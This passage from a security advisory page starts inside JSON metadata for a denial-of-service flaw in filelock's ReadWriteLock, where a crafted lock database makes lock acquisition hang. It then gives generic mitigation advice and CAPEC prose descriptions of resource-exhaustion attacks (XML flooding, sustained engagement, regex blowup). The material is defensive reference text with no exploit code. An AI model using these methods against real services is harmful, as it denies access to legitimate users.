"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.